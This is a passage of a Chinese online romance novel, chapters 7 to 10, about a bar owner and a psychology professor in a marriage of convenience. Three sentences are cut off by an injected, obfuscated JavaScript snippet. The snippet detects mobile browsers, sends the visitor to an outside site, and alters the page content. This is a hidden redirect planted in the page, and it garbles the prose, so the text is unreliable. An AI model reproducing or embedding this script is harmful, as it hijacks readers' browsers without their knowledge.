“谢谢。”蒋凛站起来,给身后的下一对新人让地方。 颁证环节不是必须的,真结婚的夫妻喜欢走个仪式感的环节,但他们这种……去那儿拍一圈反而显得奇怪。 蒋凛觉得池砚青大概率不想去,但他想。 头一回结婚呢,纪念越多越好。 但他又不想让池砚青干不乐意干的事。 脑子都快转抽筋儿了,蒋凛在心里啧了声,干脆偏头问:“池老师,去吗?我之前搜了一下,布置得挺喜庆的,能拍几张照片什么的。” “走吧。”池砚青根本没犹豫。 蒋凛愣了下,跟上他,笑着说:“我以为你不爱拍呢。” 池砚青看了他一眼,眼底有很淡的笑:“那还问。” “我想拍啊。”蒋凛非常诚实。 他这样池砚青还能说什么重话,不经意放慢了脚步,两个人并肩往前走。 到了颁证厅,挺不巧的,工作人员恰好不在。 蒋凛也不挑,视线在人群中扫了一圈,精准地找到一对特别面善的夫妻,请他们拿自己手机帮忙拍几张照片。 两个人一左一右站在颁证台后面,举着结婚证。 蒋凛问:“这样可以吗?” 小夫妻很谨慎地往后仰着腰找角度,女人一摆手:“靠近点儿,你俩近点儿。” 蒋凛主动往池砚青身边靠了靠。 “开始录了啊!”男人提高声音,“从今天起,你们是否愿意结为夫夫?无论顺境还是逆境,贫穷还是富有,健康或是疾病,都将永远深爱、珍惜、忠于彼此?” 两个人都没想到小夫妻直接开了录像,还很有仪式感地背了一段词。 愣了下,蒋凛先开口,笑着说:“我愿意。” 池砚青在他说完后,停顿了半秒,配合地跟着说:“我愿意。” “好!好!”女人很激动地说,“可以接吻了!” “哎哎哎!这个先不用了!”蒋凛不等池砚青说话,开着玩笑就拒绝了,“我脸皮薄,我受不了。” 池砚青默认了他的“脸皮薄”,先他一步走下颁证台,和小夫妻道了谢。 蒋凛跟在他后头,拿回手机,也说了遍谢谢,还送了个长长久久的祝福。 俩人说的做的都挺自然,但往外走的背影怎么看怎么透着股落荒而逃的意思。 出了民政局大门,蒋凛长舒一口气,边笑边说:“差点让人看出来不是真的。” 池砚青说:“看出来也不能把你怎么样。” “那就不圆满了,”蒋凛语气挺认真,“今天这种日子,讲究个圆满。” 他一边说“不是真的”,一边又强调要“圆满”。 池砚青定定地看了他一会儿,才说:“礼成了,圆满了,走吧。” 说完先一步往车的方向走过去。 池砚青说这句话的语气算不上严肃,但也不轻佻,只是很平静地陈述,反而有股让人安心的力量。 蒋凛站在原地琢磨了两秒,没忍住笑了下,跟上去,问:“上哪去啊?池老师。” “哪也去不了,”池砚青回头看了他一眼,“送我回学校,一堆工作压着呢。” “哎哟,”蒋凛快走几步追上去,故意笑得大声,“这可怜见的,我等会开慢点儿,你抓紧时间歇歇。” 池砚青叹了口气,又笑出来:“谢谢。” 7. 第七章 蒋怀山非要亲眼看看结婚证,打电话让蒋凛回趟家。 蒋凛自己翻来覆去看半天了,这会儿心情不错,一口答应下来。 一到家,蒋怀山醉得都站不起来了,糊里糊涂地拍着他肩膀说:“成家了,得好好过日子了,以后就是有家庭的男人了……” 方素云在旁边说:“小凛心里有数。” 蒋凛也答应着。 蒋怀山欣慰地点头,又说:“你问问,砚青那孩子什么时候有时间,我们两家吃个饭。” “吃的哪门子饭呢,”蒋凛父慈子孝不到十分钟,就让老爸逗乐了,“我俩现在都不一起住,连朋友都称不上。人家是为了工作才找人结婚的,来吃饭算什么?应酬吗?” 蒋怀山气得给了他一脚,酒都要气醒了:“你老子这是提议!让你去商量,去问!我说了必须来了吗?” “慢点儿抬腿,”蒋凛弯腰掸了掸被踢的裤腿,语气还是带着笑,“您别闪了腰。” “哎……小凛,”方素云两边拦着,又跟蒋怀山说:“孩子就是想逗你开心,别动手,都多大岁数了……” 蒋怀山使劲儿顺了顺气,才接着说:“好好跟砚青相处,那是个正经好孩子!人家肯定不像你这么不懂事儿!” 蒋凛挑挑眉,心道我在人家那儿可懂事儿了,您是没见着。 吃了顿鸡飞狗跳的饭,蒋凛给老爸气累了,帮老妈一起给人抬到床上躺着,就准备回去了。 方素云在门口送他,还给他装了点饺子,放在保温饭盒里让他带走。 “你好好吃饭,别又把胃饿坏了,”她有些絮叨,不放心地看着蒋凛,“不爱吃饭就上这儿吃来,左右离你店都差不多远,别犯懒。” “知道,谢谢妈,”蒋凛接过饭盒,没忘了上回的事,“小硕十一放假想来你就让他给我打电话,我接他,不用打车。” 方素云脸上有些尴尬:“不用了,朔朔说不去了,想跟同学出去玩。” 蒋凛心里明镜似的,问:“又闹别扭了?” “……现在的小孩儿,都有个性,”方素云顿了顿,搓着手指,“怪我跟你说了,他本来想自己去。我想着提前说一声,你也有个准备……” “下回不用提前说,”蒋凛安慰她,“他来他哥的店和回家有什么区别,我还顾不好一个学生么?” 方素云答应着。 蒋凛想了想,说:“我过两天再问问他。” 方素云下意识说:“也不用麻烦——” “不麻烦,”蒋凛说,“一家人哪那么多说法。” 第二天下午,蒋凛开车到A大接叶析言。 他出发前给池砚青发了消息,问他现在在学校吗,他等会儿要过去一趟。 池砚青过了会儿才回复,一如既往的简洁。 【有事?】 蒋凛根本不觉得冷淡,他就不是奔着见面去的,手指戳着屏幕,回得飞快。 【没事,就是想告诉你一声】 【我去给小孩搬行李,今天她们放假了】 池砚青这次回的很快。 【不在学校,今天在中心办公】 蒋凛回他。 【那遗憾了,池老师,我还想给你带点好吃的呢,下回吧】 【下回是哪回?】 蒋凛刚要收起手机,看着这条消息,蓦的愣住,笑了半天才回复。 【你哪天在啊?你说哪回就哪回】 池砚青没立刻回,蒋凛也不催,又发。 【看你安排,我等通知】 叶析言没多少行李,自己拽着个小行李箱就出来了。 蒋凛接过来放进后备箱,叶析言已经轻车熟路地坐进副驾驶了。 蒋凛刚拉开车门就听见她嚷嚷:“换香水儿了?结完婚都换香水儿了?之前那个呢?老哥哥,你居然用桃子味儿的!” “不好闻?”蒋凛发动汽车,偏头闻了闻,“这个不呛人。” 叶析言一脸麻木,瞪着他:“我之前和你说了一年多,那个破味儿呛人,你也没换。” “我没觉得呛呢,”蒋凛忍不住笑,“现在这个不好闻?” “好闻,”叶析言无语,“小清新极了,好像男大。” 回家路上,叶析言开始审问。 “快说你跟谁结婚了?我抓心挠肝一天了,都没敢问我妈,怕你是偷摸结婚的。” “有心了。”蒋凛十分感动。 “那还用你说,咱俩一条船上的,”叶析言表情严肃,“你就告诉我是不是真事儿吧,反正真假我都给你保密。” “是真事儿,”蒋凛示意她拉开手套箱,“领证了,不信你自己看。” 叶析言半信半疑地打开,看见一个小方盒,蒋凛让她拿出来打开。 里面躺着一个小红本。 “老天奶……”叶析言翻开小本子,先飞快看了眼持证人第一栏,确实写着“蒋凛”。 紧跟着,她看向旁边的红底结婚照—— “我!靠!!!池教授??”叶析言飞快地往下看,看见“池砚青”三个字之后整个人彻底放空了。 蒋凛趁她安安静静的,在旁边解说:“是你们池教授,不过暂时没打算公开,别和同学说。” 叶析言嘴巴紧得很,但脑子明显已经松弛了。 她反反复复看了好半天,才虚弱地问:“哥,你俩处多长时间了?那天,我跟你说池教授的事,你是不是觉得我像个小丑?” “这真没有,”蒋凛笑了声,“我俩刚认识半个月,闪婚。” 叶析言一把捂住脸:“闪婚果然还是看脸。” 到家天刚刚擦黑,蒋凛拎着行李跟她一起进去了,刚进门就喊了声。 “姑!晚上吃什么?我俩饿了!” “吵吵吵!耳朵都聋了!跟你妹一样,一到家整栋楼都知道你俩回来了!”蒋怀萱的声音爆豆子似的从厨房砸出来。 叶析言做了个鬼脸,故意喊:“啊啊啊啊啊——大小姐驾到!” 蒋凛笑得不行,边换鞋边问:“我姑父呢?还没下班儿?” “这儿呢。析言这晒的,小脸黢黑,”叶枕从厨房出来,笑呵呵地对蒋凛说,“知道你今天要来,你姑昨天就把菜买好了,看好几回钟了,说你开车太慢。” “我知道,”蒋凛直接坐进沙发里,捡了个葡萄吃,“我姑最稀罕我了。” “别吃那破葡萄,都放两天了,”叶枕把另一盘洗好的水果放到他手边,“今儿新买的冬枣蓝莓,个头大,我尝了两个,甜。” “我就爱吃这个,”蒋凛没客气,抓了俩扔嘴里,说着往厨房看了一眼,“三,二——” “蒋凛!进门就知道坐着,也不知道帮我忙活忙活,过来!”蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886711|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀萱喊。 叶枕无奈地笑了声,“去吧,想你了,唠叨好几回了,说你这俩礼拜没来。” “想也不说想,”叶析言啧啧,“要不是我哥抗骂,一回都不能来。” 蒋凛应了声“来了!”,就走过去帮忙摘菜。 比起回老爸那儿,在姑姑家蒋凛骨头缝儿里都透着股松快,不用每句话都在舌尖掂量三遍,也不用时刻顾虑家人的周全。 这股松快,是从蒋朔出生后,他不爱回家那年开始慢慢积攒的。 那时候小,也没地儿去,就老往姑姑这儿跑,赖着他姑不走。 蒋怀萱心疼孩子,那阵儿没少打电话骂她哥,是把蒋凛当半个儿子养的。 吃完饭,蒋凛才把结婚证拿出来,一家子挨个传着看。 结婚这事蒋怀萱提前从蒋怀山那儿知道了,没告诉叶析言是怕蒋凛和池砚青想瞒着——这娘俩都觉着自己跟蒋凛是一条船的。 “好啊,你们都瞒着我,我是最后一个知道的!”叶析言抱着胳膊。 “早晚不是都知道了,”蒋怀萱还在看结婚证,“你不高兴找你哥去。” 蒋凛心情不错地说:“请你吃饭。” 叶析言满意地比了个ok。 “老叶,你看看这孩子人怎么样?都是老师,你了解。”蒋怀萱说。 “能一样吗,”叶枕笑了,“我是高中老师,小凛是跟大学教授结婚了,文凭差远了。” “一样,”蒋凛喝了口可乐,想起什么,笑着说:“他也是个老师。” 蒋怀萱眯着眼打量他:“这是挺满意?” “可不嘛,”叶析言附和,“说起我们池教授,眼睛都笑弯了。” 蒋凛让人围追堵截也不急,还美呢,干脆地承认:“正经满意,人我看上了,一年的时间,我准备正儿八经地追一回。” “好,有想法有目标,”老姑夫很捧场,“小凛这样特好,析——” “好了好了,下一句我知道,”叶析言冷酷摆手,“我会像他学习的。” “想追就主动点儿,我看池砚青条件确实好,指不定多少人惦记呢,”蒋怀萱想得远,点了点蒋凛胳膊,“什么时候同居?你多当心,看看他身边有没有别人。” “得过一段时间吧,主要是应付上级检查,”蒋凛说,“他上级心里明镜似的,做做样子,住两天我可能就得走。” 蒋怀萱一拍大腿:“那哪行呢,你赖着就别走了。” “那多烦人啊。”蒋凛哈哈笑。 在老姑家待到晚上,蒋凛才开车回去。 池砚青微信一直没回消息,蒋凛洗完澡又看了眼手机,确定是真没动静了,才拿出九月份的财务报表开始翻。 工作到凌晨,他才洗洗准备睡了。 刚坐到床上,手机忽然响了一声。 蒋凛心里一动,解锁屏幕,点开消息。 【10.4,上午十一点,我在家】 好标准的“通知”。 时间也挺让人琢磨的。 上午十一点,对蒋凛的作息来说刚刚好。 他笑了会儿,侧躺在床上,胳膊撑着枕头,屏幕的光在眼底晃出一道小小的影儿。 心里闪过挺多句话,甜的,粘的,正经的,不正经的…… 最后,只规规矩矩地回了个—— 【收到】 8. 第八章 有赵晟这个大喇叭宣传,蒋凛十一假期期间去酒吧就闲不着。 来个人都得问两句。 真结婚了?跟谁啊?帅吗?什么时候带过来让大伙看看? 这阵儿人多,蒋凛天天到店,让这群人问得头都大了。 他找林葳要了杯冰水,靠着吧台好不容易歇会儿,温佳佳就过来了。 “干嘛来了?”蒋凛低头瞅她,“红包前天就给你们发了,又来剥削我了?” “老板,我可不是那种人,”温佳佳嘻嘻一笑,又压低声音说,“门外好像是你弟,带着几个人,小黄拦着呢,放吗?” 蒋凛一挑眉,他昨天打电话发消息都没接没回,今天怎么突然来了。 “什么放不放的,又不是黑店,”蒋凛说,“我去看一眼。” 蒋朔今年十九,比叶析言大一岁,上大二。 报考的时候选了个离家挺远的南方学校,除了年节很少回家,跟蒋凛的接触也更少了。 蒋凛出去的时候,蒋朔身边站着两男两女,看着都像学生。 黄鹿南在门口拦着不让进,脸色不太好,提醒他们:“我得看看你们身份证,未成年禁止饮酒。” “蒋凛呢?我跟他说了我要来,他是你老板,你查身份证是什么意思?”蒋朔皱着眉,似乎觉得没面子了,伸手推了黄鹿南一把。 这人怎么说都是老板的弟弟,黄鹿南不能动手,硬挨了一下往后退了半步差点摔了。 一只手按着他后腰,往前扶了一下。 “老板。”黄鹿南眼睛一亮,立刻走了两步站在蒋凛身后,瞪着这群小屁孩。 蒋凛没往前走,离蒋朔一米远的地儿,脸上没有笑:“上我这儿撒野来了?” 蒋朔盯着他,嘴唇动了动,半晌拉住旁边一个女生的胳膊转身要走。 “回来。”蒋凛说。 “我不回去!”蒋朔嘴上这么说,人却钉在了原地没再走。 黄鹿南使劲仰了仰头,强忍着没扑哧乐出来。 蒋凛没那么多闲心教育孩子什么是礼貌。 “身份证拿出来。”他走过去,先从蒋朔兜里摸出来一张,看了眼后还给他。 蒋朔一脸屈辱地瞪着他。 旁边四个学生哪见过他这种气场的老板,从蒋朔嘴里的描述还以为是个废物呢……真碰见只觉得不好惹。 老老实实地都交了身份证。 蒋凛挨个看过去,发现最小的也十九了,就是看着嫩。 带着人进去,蒋凛把他们都安排到二楼卡座里,亲自拿着酒单让他们点。 RoomTemp的定位就是高端清吧,环境好,有格调,相应的价格也高,顾客群体里很少有学生。 酒单上的数字让五个孩子一时间都有些踌躇。 没人开头,也没人敢点。 蒋朔是头一次来,脸上绷着,看同学都不点,他抢过酒单,咬牙随便点了几个:“怕什么,我请客。这个,这个,和这个……” 蒋凛点点头,淡定地问:“用我送你们回去吗?” “什么?”蒋朔皱眉,“不用,我自己打车。” “喝完这个,这个,和这个……”蒋凛按照他的顺序也点了一遍,语气有点儿戏谑,“你们几个都得横着出去。” 蒋朔脸歘地红了,语气也急了:“你管我们怎么出去呢!” 蒋凛翻了一页,在酒单上画了几个大圈,又推到他们面前:“这些度数低,口感相对柔和,拍照也漂亮。” 有个女生主动说:“这页的真好看,我想试试。” 有人带头了,五个小孩才挨个选了一杯自己喜欢的。 蒋凛也不是来找茬的,中途一直给他们介绍,口感、味道、度数、故事…… 这些他太熟了,张口就来。 帅气的男人低沉的声音,耐心介绍鸡尾酒的场面,着实有魅力。 蒋朔表情很复杂,同学们眼见着都开始眼冒崇拜了,让他更烦了。 索性蒋凛很快就下楼了,而且再也没上来过。 给他们拿酒的是刚刚在门外查身份证的女生,看着年纪没比他们大多少,但是跟蒋凛说话的时候总是笑嘻嘻的,完全不害怕。 蒋朔从卡座里往一楼看,最后不甘地抿了抿嘴唇,收回视线。 临近十二点,温佳佳上去结账了。 蒋凛手指敲了敲吧台,脸上带了点笑,低声说:“葳姐,我明天可能得晚点儿来。” “OK。”林葳没问他要干嘛。 架不住蒋凛自个儿不想藏着,三两句全抖落出来了。 “明天得去一趟池老师家,”他笑了下,“中午去,看情况吧,情况好可能要吃个饭。” 林葳比蒋凛大三岁,是酒吧的元老级员工,开店这件事上算是他半个引路人。 蒋凛确实没雇经理,但是他不在的话,林葳都会帮他盯着。 人前人后,蒋凛都叫她葳姐。 看他这幅得意的样儿,林葳意味深长地问:“什么饭得吃一下午加一晚上?” 蒋凛扑哧乐了:“我可没说晚上,葳姐,你想多了。” 林葳不跟他争,点头:“是,我想多了。” 越描越黑了,蒋凛笑得有点停不下来,一转头,温佳佳带着蒋朔一行人过来了。 度数不高,但喝得多,还是有小屁孩明显脚下踩棉花了。 蒋朔这个基因更是菜,瞳孔都散黄儿了。 蒋凛脸上的笑没下去,看向林葳。 “去吧,晚上我关店。”林葳很默契地说。 “谢了葳姐。”蒋凛拿了车钥匙,先一步出去了。 蒋凛提前喊了赵晟,他俩一人一辆车,给这群小屁孩挨个送回家。 蒋朔估摸是喝晕了,一路上除了那张憋着不服的脸,也没多折腾。 等蒋凛自己回了家,已经后半夜两点了。 他没再熬夜,准备好明天要穿的衣服,抓紧躺下睡觉了。 第二天是个大晴天,国庆第四天,气温也稍有回升。 蒋凛睡得晚,醒得倒是早,不到八点就起来洗脸刷牙,眼神还透着点困。 冰箱里准备着一些速冻食品,他都拿出来了,最后还是没热。 检查了一遍没落下的东西,蒋凛出门前给自己好好捯饬了一下,就这么饿着肚子出去了。 他提早近一小时出的门,十一假期堵车得厉害,他特意绕了个不太堵的远路。 上午十一点,蒋凛准时按响了池砚青家的门铃。 门很快被拉开。 蒋凛拿东西的手抬起来,嘴角一翘喊了声:“池老师中午好。” 池砚青笑了声,往旁边让了让:“进来吧。” 蒋凛边往里走,边用眼神把池砚青从上到下扫了一遍,目光不遮不藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886712|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 池砚青给他拿了双新拖鞋,对这种明目张胆的打量也没什么反感,只问:“看什么呢。” “看你衣服呢,”蒋凛弯下腰换鞋,开玩笑说,“我以为你在家都穿西装呢。” 池砚青也接了这个玩笑:“搞学术终于搞疯了么。” 蒋凛笑出来,跟着池砚青到客厅。 手里的东西一进门就被接过去了,他坐到沙发上,说:“朋友家在农村有块地,十月份好水果都下来了,他家石榴我觉得最好吃,想着你也尝尝。” “人脉挺广,我爱吃什么都打听出来了,”池砚青看着他,“谢谢。” “我提前报备过了,”蒋凛弯着眼睛跟人耍赖,“池老师,你可不能给我扣分儿啊。” 池砚青把提前洗好的水果盘往他那边推了推,漫不经心地说:“不扣。” 俩人聊了两句堵不堵车的小事,池砚青就给蒋凛一个人扔客厅了,自己拿着东西去了厨房。 一点儿也没拿他当外人似的。 但蒋凛不能真不把自己当外人,他规规矩矩地坐着没动。 浑身上下就一双眼睛不老实,给池砚青家客厅都快在脑海里拓下来了。 和身上的浅色家居服一样,池砚青家的装修不是蒋凛刻板印象中的极简风,软装反而有些温馨,浅色为主。 地板上铺着很柔软的地毯,蒋凛踩着都有点飘。 但就是越看越觉得哪儿别扭,他研究了半天才发现,这屋子太“板正”了。 什么东西就放在什么地儿,一厘米不差似的,干净得不像有人长期住。 多的蒋凛就没想了,因为他闻到了一点香味儿。 一转头,池砚青喊他过去。 蒋凛走到餐厅,桌子上已经摆了一些吃的。 蒋凛明知故问:“池老师,你没吃午饭呢?” 池砚青不搭理他,拉开一张椅子,说:“坐。” “我——”蒋凛还想说什么,池砚青没让他张嘴。 “吃完了再说。”池砚青在他对面坐下了。 蒋凛看了看被拉开的椅子,摸了摸鼻子,头一回拿不准对面人是个什么心情,只好老老实实地坐下,拿着碗筷开始吃饭。 池砚青没吃,但也没闲着,戴上手套开始剥石榴。 可能是身上的教授气质太浓,他哪怕干这种小事都显得一丝不苟。 蒋凛头一回这么让人“看着”吃饭,挺大方的人,这会儿倒有点拘束了。 他不习惯这么被动着,喝了口水开始找话题。 “池老师,你手艺不错。” 池砚青抬眼:“合你口味?” “我吃饭不挑,我自己做的挺难吃的我都能吃下去,”蒋凛自嘲地说,“但这次是真好吃。” “看出来了,”池砚青剥完一个,又拿了下一个,“早上不爱吃自己做的。” 他强调了“不爱吃”三个字,蒋凛低头笑了一声,知道自己那点心思都让人看出来了,也不害臊。 他又吃了几口,接着说:“也不是,我的手艺我都吃腻歪了,冰箱里囤了不少速冻食品。” 池砚青没评价他的生活习惯,这种事儿说了就太“近”了,他们还不是那种关系。 他只是把剥好的一碗石榴籽推到了蒋凛手边。 蒋凛的视线从他手上划过,自然地伸手拿过碗,又往自己这边放了放。 9. 第九章 一顿饭吃完,蒋凛又被池砚青带回了客厅。 他手里还拿着半碗石榴籽,吃饭的时候吃了一半,他老王卖瓜地夸了两句甜。 池砚青顺着他说确实不错,但自己没吃,只是看着他吃。 沙发上,蒋凛随口问:“池老师,你一直住这儿?” “是,”池砚青坐在他斜对面,倒了两杯花茶,“怎么了?” 蒋凛说:“看着不像,太干净了也。” “习惯了,”池砚青扫了眼自家客厅,“东西用完顺手就收拾了。” “那完了啊,”蒋凛一下笑了,“我东西随手一放,时间长了自己都得开导航找。” “脑袋里有导航也挺厉害的。”池砚青把他的那杯递给他。 蒋凛接过来,看着杯里的花瓣儿飘忽忽地打着旋,他闻了闻,还挺香。 他自己在家喝口热水都算精致生活了,哪享受过这个。 蒋凛觉得新鲜,低头想尝一口,池砚青拦着他说:“烫,等会儿再喝。” “哦,我吹吹。”说完糊弄地吹了两下,直接喝了一小口。 确实烫,但他也没当回事,还夸呢:“好喝。” 池砚青看着他,手指小幅度地敲了敲沙发,眼底有些笑意:“舌头都烫麻了吧。” “是,”蒋凛一下乐了,坦诚地说:“其实没尝出来。” 手里的茶杯还烫着,一时间喝不到嘴里,蒋凛索性放下了,状似无意地问:“池老师,你一直一个人住?” “我不习惯和人一起住。”池砚青说。 蒋凛点点头:“确实,一个人待惯了,冷不丁添个人进来哪哪都不舒坦。” 池砚青:“以后要委屈你不舒坦一段时间了。” “我能糊弄,”蒋凛这句话说的是真心的,“我怕你不习惯。” “没什么不习惯的,”池砚青平淡地说,“工作的一部分。” 之前签婚前协议的时候,池砚青写了配合见父母的条件,蒋凛说没必要。 池砚青当时说“这是婚姻的一部分”。 现在他又说同居是“工作的一部分”。 一推一拉间不着痕迹地把关系推到了一个安全疏离的位置。 蒋凛了然地笑笑,他可不是冲着安全来的,想安全他就不可能领证。 聊得有点冷了,他没顺着往下说,重新开了个话题,开始问池砚青这位大学老师的教育心得。 直言自己有个上大二的弟弟,平时见得不多,可能是叛逆期,学习生活样样让爹妈操心,还哪个都操心不明白。 一个唠的随意,另一个也接的自然,好像专程就是为这事聊的。 蒋凛真没藏着,说问就正儿八经地问,从蒋朔小时候的性格讲到成年后的问题,还把昨晚上来他酒吧的事儿也说了。 “昨天是我爸没在家,不然准得干仗,我就不一定几点回来了,”蒋凛说完捧着杯喝了一口,自嘲地笑笑,“这些话从我嘴里说出来,是不是挺像说风凉话的?” “不像,”池砚青看着他,“是不是真操心还挺明显的。” “就你能看着明显了,”蒋凛轻轻摇了摇头,“跟别人说,八成都顺着我骂两句小崽子不听话。” “任何行为背后都有原因,我不会用听不听话草率总结。” 蒋凛顿了顿,才说:“现在感觉更明显了。” 池砚青:“什么感觉?” “你是心理学教授的感觉,”蒋凛往后靠了靠,故意夸张地说:“池老师,你不会一眼就给我整个人看透了吧?” “别人能,你不能,”池砚青嘴角很轻地勾了勾,“你不用我看,心里想的什么就都说出来了。” “那看点儿我还没说的,”蒋凛手摩挲着茶杯,眼神直直落在池砚青身上,“你现在觉得我是什么样的人?” 池砚青跟他对视着,俩人一时间都没说话,气氛变得有点儿莫名的燥。 还是池砚青先笑出来了,说:“想听我夸你啊?” 这下蒋凛也没绷住,扑哧乐了,按了按脖子说:“夸两句呗,之前我可夸过你了,换着来吧。” 挺暧昧的问题,池砚青这么一问,蒋凛像厚脸皮要表扬似的,弄得自个儿都有点害臊。 不等池砚青说话,他摆摆手:“池老师还是别夸了,我心里有数儿。” 说完也没好多少,蒋凛拿着杯子,把剩下的花茶都喝了。 已经凉了,喝着口味淡,回甘甜滋滋的。 他说:“读书还是太重要,早知道我当年也考个研究生什么的了,不至于一句也说不过你。” “我还以为你是特意给我送吃的来了,”池砚青又给他倒了一杯,脸上带着很淡的笑,“原来是跟我比赛来了。” 蒋凛点点头:“还比输了。” 他干脆推了推杯子,说:“不喝了。” 池砚青好笑地看着他:“输了不高兴了?” “正经不高兴了,”蒋凛佯装不满,“我寻思我小你五岁,你多少能让着我点儿呢。” 这话是真的,五岁说多不是特别多,但差距也不小了。 俩人中间还隔着“三十而立”,蒋凛说出来真像挨欺负了似的。 池砚青不是多在意别人想法的人,但今天可能是工作不算忙,也可能是对面坐着的人有意思,他少见的对聊天有了些兴致。 池砚青认真想了想,问:“为什么两年多没谈了?” “哎,”蒋凛没忍住乐了,“池老师,你也太直接了。” 他好歹还拐个弯问“是不是一个人住”呢。 “直接?”池砚青很有耐心,也像存着逗人的心,随口问:“那我换一个?” “别了,好不容易让你张回嘴。”蒋凛说。 而且也问他心坎儿里了,池砚青不问,他等会儿自己也得说。 蒋凛不得不承认,“看透”这方面,池砚青确实比他技高一筹。 “我要是说我从上学那会儿到现在就谈过两回,你是不是觉得挺假的?”蒋凛说话的时候认真看着池砚青的表情。 池砚青淡定地接住他的眼神:“不假,你说。” “那我可说了,”蒋凛叹了口气,指了指自己的脸,“我吃亏就吃亏在这张脸上了,谁看了都觉得我指定是谈一个、处一个、网上还得暧昧一个,老天爷看了都得替我哭。” 他说什么语气都不沉重,带着点轻飘飘的玩笑,好像没多大困扰似的。 池砚青安静地听着,没急着安慰。 蒋凛说:“说出来没人信,我都没早恋过,追的人倒是一个接一个的,没等答应就有人传开了我谈上了,人就跑了。” “初高中六年,别人嘴里我谈的没有一百也有八十了,冤死我了。” 他说话的语气太好笑,池砚青掩饰地喝了口茶,眼尾轻轻往下压着。 “传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886713|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来传去的,到大学彻底传成渣男了,人家靠近我之前,脑子里都有故事了,”蒋凛打心底里无奈,“头回恋爱是大一,谈了不到俩月就让人给甩了。” 池砚青微微挑眉,有些意外。 蒋凛没解释,继续说:“第二回就大四了,这个倒是长,但最后还是给我甩了。” 池砚青主动问:“原因呢?” 蒋凛看了他一眼:“没有安全感,觉得我早晚有一天会出轨。” 说完自己都笑了。 “我刚上大一的时候就跟朋友合伙研究赚钱的事儿,到毕业,开了酒吧也忙,试试这个,弄弄那个的,天天脚不沾地,别说出轨,能吃口热乎饭都算对自己不错了。” 他总结:“窦娥见了我都得跟我拜把子。” 池砚青听完,一句点破:“你没想解释。” “啊,”蒋凛愣了下,过了两秒,承认,“是没多解释,我没干的事反复说也没意思了,越描越黑。” 池砚青没否定他的做法:“确实,关系太累就没必要了。” 蒋凛安静了一会儿,才抬头看向池砚青,笑道:“我还以为你得问问细节呢,这么扯淡的事儿,听着就像假的。” 池砚青声音很稳:“你没有跟我撒谎的必要。” 蒋凛笑了,也说不清心里是个什么感觉,他主动拿起茶杯,握在手里攥了攥。 聊到这就够了,他这趟的目的也都达到了,蒋凛抬头,想说他就不打扰了,池砚青的手机突然响了。 “等我一会儿。”池砚青看了眼来电显示,留下这句话就去书房打电话了。 蒋凛坐在原处,心里一乐,他还回不去了。 不到两分钟池砚青就回来了,蒋凛正弯腰坐沙发上吃果盘里的葡萄呢,看见他挑了下眉,无声地问:“什么事?” “我妈的电话,通知我下午有个饭局。”池砚青坐下,说这话的时候语气表情都很自然,蒋凛却立刻觉出不对。 “什么叫通知啊,说得跟开会似的。” 池砚青笑了下:“没区别,应酬而已。” 说着看向他手里的葡萄,问:“不嫌酸?” 话题虽然转了个弯,但这种习以为常的扭曲却有些触动蒋凛,让他心里有点不舒坦。 但这种事儿,他越敏感就越明白不能多问。 他们现在的关系,聊深聊浅的,都不合适。 “尝第一个就酸死我了,”蒋凛皱皱眉,故意逗着人,“我寻思也不能浪费,就多酸几个吧,你也少酸点儿。” 池砚青也确实笑了,调侃:“我看你就是单纯爱吃。” “说对了,我还真爱吃葡萄,”蒋凛直接承认了,笑起来语气也稍稍扬着,他看了眼墙上的米色挂钟,“吃饭前你得收拾收拾,我就不打扰了。” 时间确实紧,池砚青没留他,蒋凛也没表现得恋恋不舍的,利落地起身。 在门口换鞋的时候,池砚青给他拿了一包花茶,告诉他热水泡一下就能喝。 蒋凛也没矫情,说了声谢就接过来了。 “下回请你去我家坐坐,你也给我带点吃的什么的。”蒋凛随口一句,把俩人关系往朋友的方向稍微扯了一下。 “行,”池砚青答应的也随意,“想吃什么提前说。” 蒋凛冲他笑了一下:“我走了。” 池砚青“嗯”了声,像是想起什么,又补了句:“到了给我发个消息。” 10. 第十章 十一假期的最后一天,蒋凛上午开车把叶析言送回了学校,中午随便买了个面包糊弄一口,路过花店又买了两束花。 开往海城公墓这条路蒋凛很熟,小时候他经常用走的,后来骑自行车,再后来就可以开车去了。 蒋凛特意挑了个大晴天过来。 母亲去世太久了,现在来到这,他情绪并不沉闷,脸上是带着笑的。 先把供果挨个摆好,按照传统,他开始在坟前“叨咕”。 “两束花,这束红玫瑰的是老爸要求买的,粉的才是我买的。” “妈,这次提早来是跟你说一声,我结婚了。” 蒋凛低头闻了闻,两束花都挺香的。墓地风大,他扯了扯领口,接着说:“挺草率的,但是对方人不错,叫池砚青,是个……大学老师。” 